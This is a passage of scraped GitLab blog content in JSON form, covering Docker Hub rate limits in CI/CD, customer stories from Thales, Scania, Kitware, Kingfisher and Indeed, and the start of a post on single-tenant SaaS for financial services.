images within\nGitLab to speed up pipelines and reduce external dependencies. However, the\ncurrent implementation pulls from Docker Hub as an unauthenticated user,\nmeaning it will also be subject to the 100 pulls-per-6-hours limit.\n\n\n**Impact on hosted runners**\n\n\nFor hosted runners on GitLab.com, we use [Google Cloud's pull-through\ncache](https://cloud.google.com/artifact-registry/docs/pull-cached-dockerhub-images).\nThis mirrors the commonly pulled images and allows us to avoid rate limits.\nJob images defined as `image:` or `services:` in your `.gitlab-ci.yml` file,\nare not affected by rate limits.\n\n\nThings are slightly more challenging whenever images are pulled within the\nrunner environment. The most common use case to pull images during runner\nruntime is to build an image using Docker-in-Docker or Kaniko. In this\nscenario, the Docker Hub image defined in your `Dockerfile` is pulled\ndirectly from Docker Hub and is likely to be affected by rate limits.\n\n\n## How GitLab is responding\n\n\nWe're actively working on solutions to mitigate these challenges:\n\n\n* **Dependency Proxy authentication:** We've added support for Docker Hub\nauthentication in the [GitLab Dependency Proxy\nfeature](https://gitlab.com/gitlab-org/gitlab/-/issues/331741). This will\nallow the Dependency Proxy to pull images from Docker Hub as an\nauthenticated user, significantly increasing the rate limits.\n\n* **Documentation updates:** We've updated our\n[documentation](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials)\nto provide clear guidance on configuring pipeline authentication for Docker\nHub.\n\n* **Internal infrastructure preparation:** We're preparing our internal\ninfrastructure to minimize the impact on hosted runners for GitLab.com.\n\n\n## How you can prepare\n\n\n**Option 1: Configure Docker Hub authentication in your pipelines**\n\n\nFor pipelines that pull directly from Docker Hub, you can configure\nauthentication to increase your rate limit to 200 pulls per six-hour window\n(or unlimited with a paid Docker Hub subscription).\n\n\nAdd Docker Hub credentials to your project or group CI/CD variables (not in\nyour `.gitlab-ci.yml` file). Please refer to our [documentation on using\nDocker\nimages](https://docs.gitlab.com/ci/docker/using_docker_images/#use-statically-defined-credentials)\nfor detailed instructions on setting up the `DOCKER_AUTH_CONFIG` CI/CD\nvariable correctly.\n\n\n**Option 2: Use the GitLab Container Registry**\n\n\nConsider pushing your frequently used Docker images to your [GitLab\nContainer\nRegistry](https://docs.gitlab.com/user/packages/container_registry/). This\neliminates the need to pull from Docker Hub during CI/CD runs:\n\n\n1. Pull the image from Docker Hub.\n\n2. Tag it for your GitLab Container Registry.\n\n3. Push it to your GitLab Container Registry.\n\n4. Update your pipelines to pull from GitLab Container Registry.\n\n\n```\n\ndocker pull busybox:latest\n\ndocker tag busybox:latest $CI_REGISTRY_IMAGE/busybox:latest\n\ndocker push $CI_REGISTRY_IMAGE/busybox:latest\n\n```\n\n\nThen in your `.gitlab-ci.yml`:\n\n\n`image: $CI_REGISTRY_IMAGE/busybox:latest`\n\n\n**Option 3: Use GitLab Dependency Proxy**\n\n\nGitLab's Dependency Proxy feature provides a way to cache and proxy Docker\nimages, reducing external dependencies and rate limit issues.\n\n\nCurrent authentication options:\n\n* GitLab 17.10: Configure Docker Hub authentication for the Dependency Proxy\nusing [GraphQL\nAPI](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials-using-the-graphql-api)\n\n* GitLab 17.11: Use the new UI-based configuration in your group's settings\n(already available on GitLab.com)\n\n\nOnce authentication is properly configured, you can:\n\n\n1. Configure Docker Hub credentials in your group's Dependency Proxy\nsettings:\n  - For GitLab 17.11+ (or current GitLab.com): Navigate to your group's settings > Packages & Registries > Dependency Proxy.\n  - For GitLab 17.10: Use the GraphQL API to configure authentication.\n2. Update your pipelines to use the Dependency Proxy URLs in your CI/CD\nconfiguration:\n\n`image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/busybox:latest`\n\n\n**Option 4: Consider a Docker Hub paid subscription**\n\n\nFor organizations with heavy Docker Hub usage, upgrading to a paid Docker\nsubscription (Team or Business) will provide unlimited pulls, which may be\nthe most straightforward solution.\n\n\n## Best practices to reduce Docker Hub rate limit impact\n\n\nRegardless of which option you choose, consider these best practices to\nminimize Docker Hub rate limit impact:\n\n\n* Use specific image tags instead of `latest` to avoid unnecessary pulls.\n\n* Consolidate your Docker files to use the same base images across projects.\n\n* Schedule less critical pipelines to run outside of peak hours.\n\n* Use caching effectively to avoid pulling the same images repeatedly.\n\n\n**Note:** According to Docker Hub\n[documentation](https://docs.docker.com/docker-hub/usage/pulls/#pull-definition),\nthe pull count is incremented when pulling the image manifest, not based on\nimage size or number of layers.\n\n\n## Timeline and next steps\n\n\n**Now**\n  * Implement authentication for direct Docker Hub pulls.\n  * GitLab.com users can already configure Docker Hub authentication for the Dependency Proxy using either:\n    * The GraphQL API, or\n    * The UI in group settings\n  * Self-managed GitLab 17.10 users can configure Dependency Proxy authentication using the GraphQL API.\n\n**April 1, 2025**\n  * Docker Hub rate limits go into effect.\n\n**April 17, 2025**\n  * GitLab 17.11 will be released with UI-based Dependency Proxy authentication support for self-managed instances. \n\nWe recommend taking action well before the April 1 deadline to avoid\nunexpected pipeline failures. For most users, configuring the Dependency\nProxy with Docker Hub authentication is the most efficient long-term\nsolution.\n\n\n> Have questions or need implementation help? Please visit [this\nissue](https://gitlab.com/gitlab-org/gitlab/-/issues/526605) where our team\nis actively providing support.\n",[109,755,496],{"slug":909,"featured":91,"template":808},"prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd",{"category":717,"slug":721,"posts":911},[912,927,938],{"content":913,"config":925},{"title":914,"description":915,"authors":916,"heroImage":918,"date":919,"body":920,"category":721,"tags":921},"The Co-Create Program: How customers are collaborating to build GitLab","Learn how organizations like Thales, Scania, and Kitware are partnering with GitLab engineers to contribute meaningful features that benefit the entire community.",[917],"Fatima Sarah Khalid","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659756/Blog/Hero%20Images/REFERENCE_-_display_preview_for_blog_images.png","2025-01-30","This past year, over 800 community members have made more than 3,000 contributions to GitLab. These contributors include team members from global organizations like Thales, Scania, and Kitware, who are helping shape GitLab's future through the [Co-Create Program](https://about.gitlab.com/community/co-create/) — GitLab's collaborative development program where customers work directly with GitLab engineers to contribute meaningful features to the platform.\n\nThrough workshops, pair programming sessions, and ongoing support, program participants get hands-on experience with GitLab's architecture and codebase while solving issues or improving existing features.\n\n\"Our experience with the Co-Create Program has been incredible,\" explains Sébastien Lejeune, open source advocate at Thales. \"It only took two months between discussing our contribution with a GitLab Contributor Success Engineer and getting it live in the GitLab release.\"\n\nIn this post, we'll explore how customers have leveraged the Co-Create Program to turn their ideas into code, learning and contributing along the way.\n\n## The Co-Create experience\n[The GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit) helps contributors get started developing on GitLab. \"The advice I would give new contributors is to remember that you can't break anything with the GDK,\" says Hook. \"If you make a change and it doesn't work, you can undo it or start again. The beauty of GDK is that you can tinker, test, and learn without worrying about the environment.\"\n\nEach participating organization in the Co-Create Program receives support throughout their contribution journey:\n\n- __Technical onboarding workshop__: A dedicated session to set up the GitLab Development Kit (GDK) and understand GitLab's architecture\n- __1:1 engineering support__: Access to GitLab engineers for pair programming and technical guidance\n- __Architecture deep dives__: Focused sessions on specific GitLab components relevant to the issue the organization is contributing to\n- __Code review support__: Detailed feedback and guidance through the merge request process\n- __Regular check-ins__: Ongoing collaboration to ensure progress and address any challenges\n\nThis structure ensures that teams can contribute effectively, regardless of their prior experience with GitLab's codebase or the Ruby/Go programming language. As John Parent from Kitware notes, \"If you've never seen or worked with GitLab before, you're staring at a sophisticated architecture and so much code across different projects. The Co-Create Program helps distill what would take weeks of internal training into a targeted crash course.\"\n\nThe result is a program that not only helps deliver new features but also builds lasting relationships between GitLab and its user community. \"It's inspiring for our engineers to see the passion our customers bring to contributing to and building GitLab together,\" shares Shekhar Patnaik, principal engineer at GitLab. \"Customers get to see the 'GitLab way,' and engineers get to witness their commitment to shaping the future of GitLab.\"\n\n## Enhancing project UX with Thales\nWhen Thales identified opportunities to improve GitLab's empty project UI, they didn't just file a feature request — they built the solution themselves. Their contributions focused on streamlining the new project setup experience by simplifying SSH/HTTPS configuration with a tabbed interface and adding copy/paste functionality for the code snippets. These changes had a significant impact on developer workflows.\n\nThe team's impact extended beyond the UX improvements. Quentin Michaud, PhD fellow for cloud applications on the edge at Thales, contributed to improving the GitLab Development Kit (GDK). As a package maintainer for Arch Linux, Michaud's expertise helped improve GDK's documentation and support its containerization efforts, making it easier for future contributors to get started.\n\n\"My open source experience helped me troubleshoot GDK's support for Linux distros,” says Michaud. “While improving package versioning documentation, I saw that GitLab's Contributor Success team was also working to set up GDK into a container. Seeing our efforts converge was a great moment for me — it showed how open source collaboration can help build better solutions.\"\n\nThe positive experience for the Thales team means that Lejeune now uses the Co-Create Program as \"a powerful example to show our managers the return on investment from open source contributions.\"\n\n## Advancing package support with Scania\nWhen Scania needed advanced package support in GitLab, they saw an opportunity to contribute and build it themselves. \n\n\"As long-time GitLab users who actively promote open source within our organization, the Co-Create Program gave us a meaningful way to contribute directly to open source,\" shares Puttaraju Venugopal Hassan, solution architect at Scania.\n\nThe team started with smaller changes to familiarize themselves with the codebase and review process, then progressed to larger features. \"One of the most rewarding aspects of the Co-Create Program has been looking back at the full, end-to-end process and seeing how far we've come,\" reflects Océane Legrand, software developer at Scania. \"We started with discovery and smaller changes, but we took on larger tasks over time. It's great to see that progression.\" \n\nTheir contributions include bug fixes for the package registry and efforts to enhance the Conan package registry feature set, bringing it closer to general availability (GA) readiness while implementing Conan version 2 support. Their work and collaboration with GitLab demonstrates how the Co-Create Program can drive significant improvements to GitLab’s package registry capabilities.\n\n\"From the start, our experience with the Co-Create Program was very organized. We had training sessions that guided us through everything we needed to contribute. One-on-one sessions with a GitLab engineer also gave us an in-depth look at GitLab’s package architecture, which made the contribution process much smoother,\" said Juan Pablo Gonzalez, software developer at Scania. \n\nThe impact of the program goes beyond code — program participants are also building valuable skills as a direct result of their contributions. In [the GitLab 17.8 release](https://about.gitlab.com/releases/2025/01/16/gitlab-17-8-released/#mvp), both Legrand and Gonzalez were recognized as GitLab MVPs. Legrand talked about how the work she's doing in open source impacts both GitLab and Scania, including building new skills for her and her team: \"Contributing through the Co-Create Program has given me new skills, like experience with Ruby and background migrations. When my team at Scania faced an issue during an upgrade, I was able to help troubleshoot because I'd already encountered it through the Co-Create Program.\"\n\n## Optimizing authentication for high-performance computing with Kitware\nKitware brought specialized expertise from their work with national laboratories to improve GitLab's authentication framework. Their contributions included adding support for the OAuth2 device authorization grant flow in GitLab, as well as implementing new database tables, controllers, views, and documentation. This contribution enhances GitLab's authentication options, making it more versatile for devices without browsers or with limited input capabilities.\n\n\"The Co-Create Program is the most efficient and effective way to contribute to GitLab as an external contributor,\" shares John Parent, R&D engineer at Kitware. \"Through developer pairing sessions, we found better implementations that we might have missed working alone.\"\n\nAs a long-time open source contributor, Kitware particularly appreciated GitLab's approach to development. \"I assumed GitLab wouldn't rely on out-of-the-box solutions at its scale, but seeing them incorporate a Ruby dependency instead of building a custom in-house solution was great,” says Parent. “Coming from the C++ world, where package managers are rare, it was refreshing to see this approach and how straightforward it could be.\"\n\n## Building better together: Benefits of Co-Create\nThe Co-Create Program creates value that flows both ways. \"The program bridges a gap between us as GitLab engineers and our customers,\" explains Imre Farkas, staff backend engineer at GitLab. \"As we work with them, we hear their day-to-day challenges, the parts of GitLab they rely on, and where improvements can be made. It's great to see how enthusiastic they are about getting involved in building GitLab with us.\"\n\nThis collaborative approach also accelerates GitLab's development. As Shekhar Patnaik, principal engineer at GitLab, observes: \"Through Co-Create, our customers are helping us move our roadmap forward. Their contributions allow us to deliver critical features faster, benefitting our entire user base. As the program scales, there's a real potential to accelerate development on our most impactful features by working alongside the very people who rely on them.\"\n\n## Get started with Co-Create\nReady to turn your feature requests into reality? Whether you're looking to enhance GitLab's UI like Thales, improve package support like Scania, or optimize authentication like Kitware, the Co-Create Program welcomes organizations who want to actively shape GitLab's future while building valuable open source experience.\n\nContact your GitLab representative to learn more about participating in the Co-Create Program, or visit our [Co-Create page](https://about.gitlab.com/community/co-create/) for more information.\n",[922,923,924],"contributors","open source","customers",{"slug":926,"featured":91,"template":808},"the-co-create-program-how-customers-are-collaborating-to-build-gitlab",{"content":928,"config":936},{"title":929,"description":930,"authors":931,"heroImage":918,"date":933,"body":934,"category":721,"tags":935},"Kingfisher transforming the developer experience with GitLab","Learn how the international company focuses on DevSecOps, including automation, to reduce complexity in workflows for better efficiency.",[932],"Sharon Gaudin","2024-11-12","Kingfisher plc, an international home improvement company, has leaned into GitLab’s end-to-end platform to help it build a DevSecOps foundation that is revolutionizing its developer experience. And the company plans to continue that improvement by increasing its use of platform features, focusing on security, simplifying its toolchain, and increasing the use of automation.\n\n> \u003Cimg align=\"left\" width=\"200\" height=\"200\" hspace=\"5\" vspace=\"5\" alt=\"Chintan Parmar\" src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176076/Blog/ro7u8p695zw9fllbk4j5.png\" style=\"float: left; margin-right: 25px;\"> “The whole point of this is to reduce friction for our engineers, taking away a lot of the complexity in their workflow, and bringing in best practices and governance,” says Chintan Parmar, site reliability engineering manager at Kingfisher. “In terms of what we've done and what we're doing at the moment, it really is about building a foundation in terms of CI/CD and changing the way we deploy to bring in consistency and improve the developer experience.”\n\nParmar talked about his team and their efforts during the [GitLab DevSecOps World Tour event](https://about.gitlab.com/events/devsecops-world-tour/) in London last month. In an on-stage interview with Sherrod Patching, vice president of Customer Success Management at GitLab, he laid out Kingfisher’s journey with the platform, which is enabling its teams, while also making it easier and faster to move software updates and new projects from ideation to deployment.\n\n[Kingfisher](https://www.kingfisher.com/en/index.html) is a parent company with more than 2,000 stores in eight countries across Europe. Listed on the London Stock Exchange and part of the Financial Times Stock Exchange (FTSE) 100 Index, the group reported £13 billion in total revenue in FY 2023/24. Its brands include B&Q, Screwfix, Castorama, and Brico Depot. \n\nThe company first adopted GitLab in 2016, using a free starter license, and then moved to Premium in 2020. In that time, it also has moved from on-premise to a cloud environment, started using shared GitLab runners and source code management, and began building out a CI/CD library that gives team members easy access to standardized and reusable components for typical pipeline stages, such as build, deploy, and test.\n\n## Tracking metrics that execs care about\n\nKingfisher also is tracking metrics, like deployment frequency, lead time to change, and change failure rates, with GitLab. And teams are analyzing value streams, mapping workflows, and finding bottlenecks. All of those metrics are being translated into data that company leaders can sink their teeth into. \n\n“Execs may not care about whether a merge request has been waiting 15 or 20 minutes, but they do care about how we translate that time value into dollars or pounds,” says Parmar, who used GitLab when he previously worked at [Dunelm Group, plc,](https://about.gitlab.com/customers/dunelm/) another major UK-based retailer. “Kingfisher is a very data-driven organization. We are looking to overlay these metrics to see where we can continue to improve our developer experience, eliminating slowdowns and manual tasks, while increasing automation.”\n\nWhile on-stage, Parmar made it clear that all the changes being made are aimed at improving software development and deployment. However, it’s equally paramount to making team members’ jobs easier, giving them more time and autonomy to do the kind of work they enjoy, instead of what can seem like a never-ending stream of repetitive, manual tasks. He noted that the team is so focused on easing workflows and giving engineers more time to be innovative, it has created a “developer experience squad.”\n\n## Putting people first while laying out priorities\n\nSo what’s coming next for Kingfisher and its engineering squads, which have about 600 practitioners?  \n\nAccording to Parmar, Kingfisher already has its priorities mapped out. Using GitLab to [move security left](https://about.gitlab.com/solutions/security-compliance/) is at the top of their list. The group also is focused on continuing to reduce its toolchain, and using automation to increase productivity. And he expects that early in 2025, teams will begin “dabbling” with the artificial intelligence capabilities in [GitLab Duo](https://about.gitlab.com/gitlab-duo/), a suite of AI-powered features in the platform that help increase velocity and solve key pain points across the software development lifecycle. Kingfisher will focus on how that can further increase its efficiency and productivity. \n\nTo get all of this done, Parmar says the first step is to ensure that people come first.\n\n“We’re focused on the hearts and minds of our people... and remembering that people can be attached to how they work through pipelines,” he adds. “People have different ways of building their pipelines. We need to understand what they need, what their workflows look like, and then work with them to find the right solution. After, we’ll go back to them with data that shows the improvements worked. So instead of telling them what they need, we find out what that is, and fix what’s slowing them down. That builds a very good rapport with our engineers.”\n\nChanging how a team creates and deploys software is a journey. Parmar suggests that collaboratively taking developers and security teams on that journey, instead of dragging them along, makes a big difference in ease of migration and in easing team members’ user experience.\n\n> Learn [how other GitLab customers use the DevSecOps platform](https://about.gitlab.com/customers/) to gain results for customers.\n",[924,496,728,805],{"slug":937,"featured":91,"template":808},"kingfisher-transforming-the-developer-experience-with-gitlab",{"content":939,"config":949},{"title":940,"description":941,"authors":942,"heroImage":944,"date":945,"body":946,"category":721,"tags":947},"How Indeed transformed its CI platform with GitLab","The world's #1 job site migrated thousands of projects to GitLab CI, boosting productivity and cutting costs. Learn the benefits they realized, including a 79% increase in daily pipelines.",[943],"Carl Myers","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099351/Blog/Hero%20Images/Blog/Hero%20Images/Indeed-blog-cover-image-2_4AgA1DkWLtHwBlFGvMffbC_1750099350771.png","2024-08-27","***Editor's note: From time to time, we invite members of our customer community to contribute to the GitLab Blog. Thanks to Carl Myers, Manager of CI Platforms at Indeed, for sharing your experience with GitLab.***\n\nHere at Indeed, our mission is to help people get jobs. Indeed is the [#1 job site](https://www.indeed.com/about?isid=press_us&ikw=press_us_press%2Freleases%2Faward-winning-actress-viola-davis-to-keynote-indeed-futureworks-2023_textlink_https%3A%2F%2Fwww.indeed.com%2Fabout) in the world with more than 350 million unique visitors every month.\n\nFor Indeed's Engineering Platform teams, we have a slightly different motto: \"We help people to help people get jobs.\" As part of a data-driven engineering culture that has spent the better part of two decades always putting the job seeker first, we are responsible for building the tools that not only make this possible, but empower engineers to deliver positive outcomes to job seekers every day.\n\nGitLab Continuous Integration has allowed Indeed’s CI Platform team of just 11 people to effectively support thousands of users across the company. Other benefits Indeed has realized by moving to GitLab CI include:\n- 79% increase in daily pipelines\n- 10-20% lower CI hardware costs\n- Decreased support burden\n\n## Evolving our CI platform: From Jenkins to a scalable solution\n\nLike many large technology companies, we built our CI platform organically as the company scaled, using the de facto open source and industry standard solutions available at the time. Back in 2007, when Indeed had fewer than 20 engineers, we were using Hudson, Jenkins’ direct predecessor.\n\nToday, through nearly two decades of growth, we have thousands of engineers. As new technology became available, we made incremental improvements, switching to Jenkins around 2011. Another improvement allowed us to move most of our workloads to dynamic cloud worker nodes using [AWS EC2](https://aws.amazon.com/ec2/). As we entered the Kubernetes age, however, the system architecture reached its limits.\n\nJenkins’ architecture was not created with the cloud in mind. Jenkins operates by having a \"controller\" node, a single point of failure that runs critical parts of a pipeline and farms out certain steps to worker nodes (which can scale horizontally to some extent). Controllers are also a manual scaling axis.\n\nIf you have too many jobs to fit on one controller, you must partition your jobs across controllers manually. CloudBees offers ways to mitigate this, including the CloudBees Jenkins Operations Center, which allows you to manage your constellation of controllers from a single centralized place. However, controllers remain challenging to run in a Kubernetes environment because each controller is a fragile single point of failure. Activities like node rollouts or hardware failures cause downtime.\n\nIn addition to the technical limitations baked into Jenkins itself, our CI platform also had several problems of our own making. For example, we used the Groovy Jenkins DSL to generate jobs from code in each repository. This led to each project having its own copy-pasted job pipeline, resulting in hundreds of versions that were hard to maintain and update. While Indeed’s engineering culture values flexibility and allows teams to operate in separate repositories, this flexibility became a burden as teams spent too much time addressing regular maintenance requests.\n\nRecognizing our technical debt, we turned to the [Golden Path pattern](https://tag-app-delivery.cncf.io/whitepapers/platforms/), which allows flexibility while providing a default route to simplify updates and encourage consistent practices across projects.\n\nThe CI Platform team at Indeed is not very large. Our team of around 11 engineers supports thousands of users, fielding support requests, performing upgrades and maintenance, and enabling always-on support for our global company.\n\nBecause our team not only supports our GitLab instance but also the entire CI platform, including the artifact server, our shared build code, and multiple other custom components of our platform, we had our work cut out for us. We needed a plan that would help us address our challenges while making the most efficient use of our existing resources.\n\n## Moving to GitLab CI\n\nAfter a careful design review with key stakeholders, we decided to migrate the entire company from Jenkins to GitLab CI. The primary reasons for choosing GitLab CI were:\n- We were already using GitLab for source code management.\n- GitLab is a complete offering that provides everything we need for CI.\n- GitLab CI is designed for scalability and the cloud.\n- GitLab CI enables us to write templates that extend other templates, which is compatible with our golden path strategy.\n- GitLab is open source software and the GitLab team has always been supportive in helping us submit fixes, giving us extra flexibility and reassurance.\n\nBy the time we officially announced that the GitLab CI Platform would be generally available to users, we already had 23% of all builds happening in GitLab CI from a combination of grassroots efforts and early adopters.\n\nThe challenge of the migration, however, would be the long tail. Due to the number of custom builds in Jenkins, an automated migration tool would not work for the majority of teams. Most of the benefits of the new system would not come until the old system was at 0%. Only then could we turn off the hardware and save the CloudBees license fee.\n\n## Feature parity and the benefits of starting over\n\nThough we support many different technologies at Indeed, the three most common languages are Java, Python, and JavaScript. These language stacks are used to make libraries, deployables (web services or applications), and cron jobs (a process that runs at regular intervals, for example, to build a data set in our data lake). Each of these formed a matrix of project types (Java Library, Python Cronjob, JavaScript Webapp, etc.) for which we had a skeleton in Jenkins. Therefore, we had to produce a golden path template in GitLab CI for each of these project types.\n\nMost users could use these recommended paths without change, but for those who did require customization, the golden path would still be a valuable starting point and enable them to change only what they needed, while still benefiting from centralized template updates in the future.\n\nWe quickly realized that most users, even those with customizations, were happy to take the golden path and at least try it. If they missed their customizations, they could always add them later. This was a surprising result! We thought that teams who had invested in significant customization would be loath to give them up, but in the majority of cases teams just didn't care about them anymore. This allowed us to migrate many projects very quickly — we could just drop the golden path (a small file about 6 lines long with includes) into their project, and they could take it from there.\n\n## InnerSource to the rescue\n\nThe CI Platform team also adopted a policy of \"external contributions first\" to encourage everyone in the company to participate. This is sometimes called InnerSource. We wrote tests and documentation to enable external contributions — contributions from outside our immediate team — so teams that wanted to write customizations could instead include them in the golden path behind a feature flag. This let them share their work with others and ensure we didn't break them moving forward (because they became part of our codebase, not theirs).\n\nThis also had the benefit that particular teams who were blocked waiting for a feature they needed were empowered to work on the feature themselves. We could say \"we plan to implement the feature in a few weeks, but if you need it earlier than that we are happy to accept a contribution.\" In the end, many core features necessary for parity were developed in this manner, more quickly and better than our team had resources to do it. The migration would not have been a success without this model.\n\n## Ahead of schedule and under budget\n\nOur CloudBees license expired on April 1, 2024. This gave us an aggressive target to achieve the full migration. This was particularly ambitious considering that at the time, 80% of all builds (60% of all projects) still used Jenkins for their CI. This meant over 2,000 [Jenkinsfiles](https://www.jenkins.io/doc/book/pipeline/jenkinsfile/) would still need to be rewritten or replaced with our golden path templates.\n\nTo achieve this target, we made documentation and examples available, implemented features where possible, and helped our users contribute features where they were able.\n\nWe started regular office hours, where anyone could come and ask questions or seek our help to migrate. We additionally prioritized support questions relating to migration ahead of almost everything else. Our team became GitLab CI experts and shared that expertise inside our team and across the organization.\n\nAutomatic migration for most projects was not possible, but we discovered it could work for a small subset of projects where customization was rare. We created a Sourcegraph batch change campaign to submit merge requests to migrate hundreds of projects, and poked and prodded our users to accept these MRs.\n\nWe took success stories from our users and shared them widely. As users contributed new features to our golden paths, we advertised that these features \"came free\" when you migrated to GitLab CI. Some examples included built-in security and compliance scanning, Slack notifications for CI builds, and integrations with other internal systems.\n\nWe also conducted a campaign of aggressive \"scream tests.\" We automatically disabled Jenkins jobs that hadn't run or succeeded in a while, and told users that if they needed them, they could turn them back on. This was a low-friction way to identify which jobs were actually needed. We had thousands of jobs that hadn't been run a single time since our last CI migration (which was Jenkins to Jenkins). This told us we could safely ignore almost all of them.\n\nIn January 2024, we nudged our users by announcing that all Jenkins controllers would become read-only (no builds) unless an exception was explicitly requested. We had much better ownership information for controllers and they generally aligned with our organization's structure, so it made sense to focus on controllers rather than jobs. The list of controllers was also a much more manageable list than the list of jobs.\n\nTo obtain an exception, we asked our users to find their controllers in a spreadsheet and put their contact information next to each one. This enabled us to get a guaranteed up-to-date list of stakeholders we could follow up with as we sprinted to the finish line, but also enabled users to clearly let us know which jobs they absolutely needed. At peak, we had about 400 controllers; by January we had 220, but only 54 controllers required exceptions (several of them owned by us, to run our tests and canaries).\n\n![Indeed - Jenkins Controller Count graph](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099357/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099357392.png)\n\nWe had a manageable list of around 50 teams we divided among our team and started doing outreach to understand how each team was progressing with the migration. We spent January and February discovering that some teams planned to finish their migration without our help before February 28 others were planning to deprecate their projects before then, and a very small number were very worried they wouldn't make it.\n\nWe were able to work with this smaller set of teams and provide them with “white-glove” service. We still explained that while we lacked the expertise necessary to do the migration for them, we could partner with a subject matter expert from their team. For some projects, we wrote and they reviewed; for others, they wrote and we reviewed. In the end, all of our work paid off and we turned off Jenkins on the very day we had announced 8 months earlier.\n\n## The results: Enhanced CI efficiency and user satisfaction\n\nAt its peak, our Jenkins CI platform ran over 14,000 pipelines per day and serviced our thousands of projects. Today, our GitLab CI platform has run over 40,000 pipelines in a single day and regularly runs over 25,000 per day. The incremental cost of each job of each pipeline is similar to Jenkins, but without the overhead of hardware to run the controllers. Additionally, these controllers served as single points of failure and scaling limiters that forced us to artificially divide our platform into segments. While an apples-to-apples comparison is difficult, we find that with this overhead gone our CI hardware costs are 10-20% lower. Additionally, the support burden of GitLab CI is lower since the application automatically scales in the cloud, has cross-availability-zone resiliency, and the templating language has excellent public documentation available.\n\nA benefit just as important, if not moreso, is that now we are at over 70% adoption of our golden paths. This means that we can roll out an improvement and over 5,000 projects at Indeed will benefit immediately with no action required on their part. This has enabled us to move some jobs to more cost-effective ARM64 instances, keep users' build images updated more easily, and better manage other cost saving opportunities. Most importantly, our users are happier with the new platform.\n\n__About the author:__\n*Carl Myers lives in Sacramento, CA, and is the manager of the CI Platform team at Indeed. Carl has spent his nearly two-decade career dedicated to building internal tools and developer platforms that delight and empower engineers at companies large and small.*\n\n**Acknowledgements:**\n*This migration would not have been possible without the tireless efforts of Tron Nedelea, Eddie Huang, Vivek Nynaru, Carlos Gonzalez, Lane Van Elderen, and the rest of the CI Platform team. The team also especially appreciates the leadership of Deepak Bitragunta, and Irina Tyree for helping secure buy-in, resources and company wide alignment throughout this long project. Finally, our thanks go out to everyone across Indeed who contributed code, feedback, bug reports, and helped migrate projects.*\n\n**This is an edited version of the article [How Indeed Replaced Its CI Platform with Gitlab CI](https://engineering.indeedblog.com/blog/2024/08/indeed-gitlab-ci-migration/), originally published on the Indeed engineering blog.**",[924,109,948,496],"user stories",{"slug":950,"featured":91,"template":808},"how-indeed-transformed-its-ci-platform-with-gitlab",{"category":728,"slug":732,"posts":952},[953,967,981],{"content":954,"config":965},{"title":955,"description":956,"authors":957,"heroImage":960,"date":961,"category":732,"tags":962,"body":964},"Why financial services choose single-tenant SaaS","Discover how GitLab Dedicated can help financial services organizations achieve compliant DevSecOps without compromising performance.",[958,959],"George Kichukov","Allie Holland","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662023/Blog/Hero%20Images/display-dedicated-for-government-article-image-0679-1800x945-fy26.png","2025-08-14",[571,963],"DevOps platform","Walk into any major financial institution and you'll see the contradiction immediately. Past the armed guards, through the biometric scanners, beyond the reinforced walls and multiple security checkpoints, you'll find developers building the algorithms that power global finance — on shared infrastructure alongside millions of strangers.\n\nThe software powering today's financial institutions is anything but ordinary. It includes credit risk models that protect billions in assets, payment processing algorithms handling millions of transactions, customer intelligence platforms that drive business strategy, and regulatory systems ensuring operational compliance  — all powered by source code that serves as both operational core and strategic asset.\n\n## When shared infrastructure becomes systemic risk\n\nThe rise of software-as-a-service platforms has created an uncomfortable reality for financial institutions. Every shared tenant becomes an unmanaged third-party risk, turning platform-wide incidents into industry-wide disruptions. This is the exact kind of concentration risk drawing increasing attention from regulators.\n\nJPMorgan Chase's Chief Information Security Officer Patrick Opet recently issued a stark warning to the industry in an [open letter](https://www.jpmorgan.com/technology/technology-blog/open-letter-to-our-suppliers) to third-party suppliers. He highlighted how SaaS adoption \"is creating a substantial vulnerability that is weakening the global economic system\" by embedding \"concentration risk into global critical infrastructure.\" The letter emphasizes that \"an attack on one major SaaS or PaaS provider can immediately ripple through its customers,” creating exactly the systemic risk that multi-tenant cloud platforms for source code management, CI builds, CD deployments, and security scanning introduce.\n\nConsider the regulatory complexity this creates. In shared environments, your compliance posture becomes hostage to potential incidents impacting other tenants as well as the concentration risks of large attack surface providers. A misconfiguration affecting any organization on the platform can trigger wider impact across the entire ecosystem. \n\nData sovereignty challenges compound this risk. Shared platforms distribute workloads across multiple regions and jurisdictions, often without granular control over where your source code executes. For institutions operating under strict regulatory requirements, this geographic distribution can create compliance gaps that are difficult to remediate.\n\nThen there's the amplification effect. Every shared tenant effectively becomes an indirect third-party risk to your operations. Their vulnerabilities increase your attack surface. Their incidents can impact your availability. Their compromises can affect your environment.\n\n## Purpose-built for what matters most\n\nGitLab recognizes that your source code deserves the same security posture as your most sensitive customer data. Rather than forcing you to choose between cloud-scale efficiency and enterprise-grade security, GitLab delivers both through [GitLab Dedicated](https://about.gitlab.com/dedicated/), purpose-built infrastructure that maintains complete isolation.\n\nYour development workflows, source code [repositories](https://docs.gitlab.com/user/project/repository/), and [CI/CD pipelines](https://docs.gitlab.com/ci/pipelines/) run in an environment exclusively dedicated to your organization. The [hosted runners](https://docs.gitlab.com/administration/dedicated/hosted_runners/) for GitLab Dedicated exemplify this approach. These runners connect securely to your data center through outbound private links, allowing access to your private services without exposing any traffic to the public internet. The [auto-scaling architecture](https://docs.gitlab.com/runner/runner_autoscale/) provides the performance you need, without compromising security or control. \n \n## Rethinking control\n\nFor financial institutions, minimizing shared risk is only part of the equation — true resilience requires precise control over how systems operate, scale, and comply with regulatory frameworks. GitLab Dedicated enables comprehensive data sovereignty through multiple layers of customer control. You maintain complete authority over [encryption keys](https://docs.gitlab.com/administration/dedicated/encryption/#encrypted-data-at-rest) through [bring-your-own-key (BYOK)](https://docs.gitlab.com/administration/dedicated/encryption/#bring-your-own-key-byok) capabilities, ensuring that sensitive source code and configuration data remains accessible only to your organization. Even GitLab cannot access your encrypted data without your keys.\n\n[Data 